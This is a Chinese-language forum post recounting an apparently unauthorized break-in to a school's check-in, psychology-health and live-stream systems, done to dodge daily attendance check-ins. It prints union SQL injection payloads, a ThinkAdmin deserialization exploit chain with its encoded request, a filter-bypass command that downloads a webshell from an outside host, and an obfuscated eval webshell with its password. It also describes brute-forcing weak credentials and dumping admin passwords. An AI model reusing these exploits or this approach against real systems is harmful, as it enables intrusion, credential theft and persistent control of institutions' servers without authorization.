taibeihacker
Moderator
0x01 前言
由於疫情問題,學校的易班APP新增了打卡系統,每天需要進行晨檢,午檢打卡,忘記的話就是上千字檢討本人對於這種“形式主義”深感不滿,適逢最近成立了網絡安全戰隊,於是準備操作一番
0x02 踩点
基本的信息蒐集咱們就不多說了因此不同系統使用了不同的多台服務器
看樣不能一勞永逸,需要各個系統、服務器奇妙的學校系統滲透之旅,拿下核心系統,
然後摸入核心系統中
首先打開“易班”系統的首頁是這個樣子

不難看出,開發者使用了TP框架,在簡單地測試了各種TP 注入,
RCE的payload後均以失敗告終,看樣安全意識還不算太差
域名下的首頁完全就是一個報錯頁面,沒有任何功能點和信息
俗話說得好,信息蒐集的好壞直接決定了我們滲透的成敗,因此我們絕對不能疏忽大意。
我們先來fuzz一級目錄

成果還不錯,不少目錄和功能點,
隨後我們繼續fuzz各個一級目錄的二級目錄,不斷摸索該域名下部署的功能點
具體的就不上圖了,因為一級目錄太多了。
了解清楚功能點後,直接脫褲子開幹
0x03 心理健康系统的渗透(IIS短文件名--老登录口--爆破--新登录口--上传)
通過一級目錄爆破,爆破出發現其中部署了心理教育健康系統,中間件為IIS
但是心理健康系統登錄口有驗證碼機制,而且驗證碼不容易識別

立馬想到iis短文件名特性
隨後通過iis短文件名目錄掃描工具
(https://github.com/lijiejie/IIS_shortname_Scanner)進行掃描

獲取到老的其他系統登錄口

如圖,沒有任何驗證碼機制
直接Burp Cluster bomb式爆破
成功得到其他系統的弱口令admin,Aa123456
但是老系統其他頁面已經刪除,無法正常登入後台

但推測新老系統用的同一個數據庫
訪問新系統
使用密碼admin,Aa123456成功登陸

後台翻找上傳點

上傳點在
量表平台這邊的添加題目存在任意文件上傳
(話說這個上傳點.可以說是相當隱蔽了.找了好久才找到)

上傳aspx會莫名其妙跳轉,asp不解析,直接傳了個asmx的馬
通過awvs 10的調試模塊執行命令

權限為net service
使用cobaltstrike直接powershell一句話上權限

結果補丁貌似比較死。
各種本地提權Exp上了一遍,沒什麼逼用
Com組件,土豆上了也提不下來,先這樣吧,提權要是提下來了再補充
心理健康系統宣布初步拿下
0x04 直播系统接口注入
在進入直播系統後,發現沒什麼可以利用的點,大概開發還沒有完成
但是在BURP中,我發現了一個ajax接口的請求,
http請求如下:
POST /index.php/Live/index/seat_ajax.html HTTP/1.1
Host: xxx.xxx.edu.cn
Content-Length: 24
Accept:/
Origin:http://xxx.xxx.edu.cn
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Linux; U; Android 5.1; zh-CN; 1501_M02 Build/LMY47D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.0.818 U3/0.8.0 Mobile Safari/534.30
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer:http://xxx.xxx.edu.cn/index.php/Live/index/seat?place_id=10active_id=20
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=s0clwrginz0rw3x0smtwtsgg; PHPSESSID=7985bf0a5f38e5922a651ac1f4ef9b1a; PHPSESSID=7985bf0a5f38e5922a651ac1f4ef9b1a
Connection: close
place_id=10active_id=20

進行fuzz找到SQLI Payload

兩個id參數都存在union注入

構造payload
) UNION ALL SELECT NULL,NULL,NULL,NULL,user(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Neqy
如圖成功獲得current_user信息
'[email protected]
構造payload
place_id=10) UNION ALL SELECT NULL,NULL,NULL,NULL,group_concat(SCHEMA_NAME),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from information_schema.schemata-- Neqyactive_id=20active_id=20

其他的表、列、數據、在此就不演示了,寫語句就ok,都非常簡單
後面發現涉及了很多其他系統的庫,但並沒有摸到我最想要的核心系統的庫,
0X05 一个平淡无奇的B64上传
FUZZ功能點後,找到了一個未授權可以上傳圖片的地方

發現data:image/jpeg時上傳jpeg圖片
直接改data改為image/php,然後將上傳內容base64編碼後提交

Getshell成功,SYSTEM權限,提權都省了

0X06 核心系统精彩渗透(Nday反序列化+命令执行绕过+条件竞争Getshell)
尋尋覓覓,冷冷清清,淒淒慘慘淒淒,終於找到了我們的控制“易班”核心系統
勝利就在眼前.不睡覺也要把他給搞下來
各種fuzz,各種操作一塊安排上去,發現並沒有什麼卵用,依舊日不進去
難道就此放棄?不可能,這不是我們的風格
我在仔細查看頁面JS的時候,發現了這樣一個有趣的信息

眼前一亮,媽的ThinkAdmin,正好之前有個反序列化的Nday,安排上!
PostData:
rules=a%3A2%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A13%3A%2 2%00%2A%00connection%22%3Bs%3A5%3A%22mysql%22%3Bs%3A7%3A%22%00%2A%00name%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A %22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A13%3A%22%00%2A%00connection%22%3Bs%3A5%3A%22mysql%22%3Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr %22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A9%3A%22%00%2A%00hidden%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A3%3A%22123%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data% 22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3 Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A9%3A%22%00%2A%00 hidden%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A3%3A%22123%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00 withEvent%22%3Bb%3A0%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7D%7Di%3A1%3Bi%3A123%3B%7D //執行whoami

下面為反序列化pop鍊子如下
?php
namespace think;
use think\model\Pivot;
abstract class Model{
private $lazySave=false; # save()
private $exists=false; # updateData()
protected $connection;
protected $name; # __toString() Conversion.php=Pivot
private $withAttr=[]; # assert
protected $hidden=[];
private $data=[];
protected $withEvent=false;
private $force=false;
protected $field=[];
protected $schema=[];
function __construct(){
$this-lazySave=true;
$this-exists=true;
$this-withEvent=false;
$this-force=true;
$this-connection='mysql';
$this-withAttr=['test'='system'];
$this-data=['test'='whoami'];
$this-hidden=['test'='123'];
$this-field=[];
$this-schema=[];
}
}
namespace think\model;
use think\Model;
\# Model 是一個抽像類,我們找到它的繼承類,此處選取的是Pivot 類
class Pivot extends Model{
function __construct($obj=''){
parent:__construct();
$this-name=$obj; # $this-name放子類構造方法中賦值,直接放基類屬性中初始化不成功
}
}
$a=new Pivot();
echo urlencode(serialize([new Pivot($a),123]));

權限為system,哈哈哈哈哈哈,天助我也
但使用echo命令寫shell過程中遇到了很多問題
命令不能帶空格,而且直接在一條命令中出現寫shell,否則會報錯
空格會被轉換為+ 而+ 他後端又識別不了

經過堅持不懈的手動測試,發現/\可以繞過空格的限制
然後再使用來拼接命令,實現對於寫入檢測的繞過
但是目標機有waf,普通的webshell傳上去過幾秒就會被殺
何妨,直接通過條件競爭遠程下載免殺的webshell
構造命令通過條件競爭下載免殺shell
echo/^^?phps1.phpecho/file_put_contents('s2.php',file_get_contents('http://49.x.x.x:8080/shell.txt'));^gt;gt;gt;s2.php
免殺shell內容如下
?php
function test($php_c0d3){
$password='skr';//EnvPwd
$cr=preg_filter('/\s+/','','c h r');
$bs64=preg_filter('/\s+/','','bas e64 _de cod e');
$gzi=$cr(103).$cr(122).$cr(105).$cr(110);
$gzi.=$cr(102).$cr(108).$cr(97).$cr(116).$cr(101);
$c=$bs64($php_c0d3);
$c=$gzi($c);
@eval($c);
}
$php_c0d3='S0lNy8xL1VAvzkjNySlILC5W11EBUeX'.
'5RSma1rxcKgWZeWm2KvFBroGhrsEh0UogvlIsUC'.
'YzTQMiaatUmVqspFnNy1WQARLI1wBprAXi1LLEH'.
'A2EXrgdsZrWAA==';
test($php_c0d3);
?通過反序列化pop鍊子生成Postdata
直接打過去
密碼Skr
直接拿下

終於拿下了這個打卡,晚點名,考勤的核心系統,adminer進入庫中解密管理員密碼
媽的,還想讓老子寫檢討?吃屎去吧